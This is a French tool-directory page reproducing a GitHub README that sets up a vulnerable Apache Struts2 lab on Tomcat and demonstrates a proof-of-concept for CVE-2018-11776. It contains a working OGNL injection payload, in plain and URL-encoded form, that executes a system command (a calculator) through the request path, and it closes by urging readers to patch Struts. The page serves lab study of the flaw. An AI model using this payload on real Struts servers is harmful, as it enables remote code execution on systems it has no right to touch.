Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2018-11776 — Création d'un environnement vulnérable et du PoC | Kitploit
Outils/GitHubGitHub/xfox64x/cve-2018-11776
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubxfox64x/cve-2018-11776

CVE-2018-11776

Création d'un environnement vulnérable et du PoC

Voir le dépôt
156il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-11776

Exploit de preuve de concept pour évaluer rapidement les types de protections et de correctifs disponibles.

Découvert à l'origine par Man Yue Mo, Semmle : https://semmle.com/news/apache-struts-CVE-2018-11776

Semmle avait mis en ligne une vidéo YouTube « Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo » pendant un certain temps, mais je crois qu'elle a disparu ou, à tout le moins, n'est plus liée à Semmle : https://www.youtube.com/watch?v=5SDNX20SLJ0

J'ai pris les informations ci-dessus puis commencé à examiner les commits du dépôt struts : https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

Je suis trop fainéant pour Docker ou autre connerie...

Installation et exploitation d'un hôte vulnérable

Télécharger la dernière ISO Ubuntu Desktop et créer une machine virtuelle.

http://releases.ubuntu.com/18.04.1/ubuntu-18.04.1-desktop-amd64.iso?_ga=2.265574989.317727484.1535056103-825490018.1535056103

Installer les dépendances :

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade

sudo apt-get install default-jdk vim net-tools

Configurer Tomcat :

mkdir ~/sources

cd ~/sources

wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz

tar xvzf apache-tomcat-7.0.90.tar.gz

sudo mv apache-tomcat-7.0.90 /opt/tomcat

Mettre à jour bashrc avec des variables :

vim ~/.bashrc

export JAVA_HOME=/usr/lib/jvm/default-java

export CATALINA_HOME=/opt/tomcat

. ~/.bashrc

Ajouter un administrateur à l'interface graphique Tomcat :

sudo vim /opt/tomcat/conf/tomcat-users.xml

root@kitploit:~
<user username="username" password="password" roles="manager-gui,admin-gui" />

Récupérer une vitrine Struts2 vulnérable pour avoir de quoi travailler :

cd ~/sources

wget http://central.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.14/struts2-showcase-2.3.14.war

Déployer le fichier WAR via l'interface graphique Tomcat :

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

Redémarrer Tomcat et vérifier que la vitrine Struts2 est disponible :

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

Ajouter une action de redirection vulnérable sans espace de noms :

vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml

root@kitploit:~
    <action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

date.action est déjà défini, nous avons donc simplement ajouté une autre action de redirection qui appelle date.action

Par défaut, alwaysSelectFullNamespace devrait être défini sur True.

Redémarrer Tomcat et consulter la page de la vitrine Struts2 :

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/struts2-showcase-2.3.14/showcase.jsp

Créer une expression OGNL pour faire des choses. Faisons ce que Semmle a probablement fait dans leur vidéo YouTube :

%{(#_memberAccess['allowStaticMethodAccess'] = true).(#rt = @java.lang.Runtime@getRuntime()).(#rt.exec('gnome-calculator'))}

L'expression OGNL doit être encodée en URL et insérée avant le dernier '/' dans l'URL, pour atteindre notre help.action vulnérable :

127.0.0.1:8080/struts2-showcase-2.3.14/<encoded-command-goes-here>/help.action

127.0.0.1:8080/struts2-showcase-2.3.14/%25%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%27%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%27%5D%20%3D%20%74%72%75%65%29%2E%28%23%72%74%20%3D%20%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%29%2E%28%23%72%74%2E%65%78%65%63%28%27%67%6E%6F%6D%65%2D%63%61%6C%63%75%6C%61%74%6F%72%27%29%29%7D/help.action

Lors de l'exécution sur l'hôte Ubuntu vulnérable, nous devrions voir une nouvelle instance de la calculatrice apparaître.

Commits liés corrigeant le problème :

https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

Réflexions :

Une autre implémentation de struts extrêmement spécifique et vulnérable. La couverture médiatique de cette vulnérabilité a fait paniquer tout le monde, alors que seuls les codes/configurations les plus bâclés sont réellement vulnérables... Je ne vois pas de moyen efficace et discret de trouver fiablement cette vulnérabilité et/ou de l'exploiter. Ma recommandation : mettez simplement struts à jour, putain... (ou arrêtez de l'utiliser)

Télécharger l’outil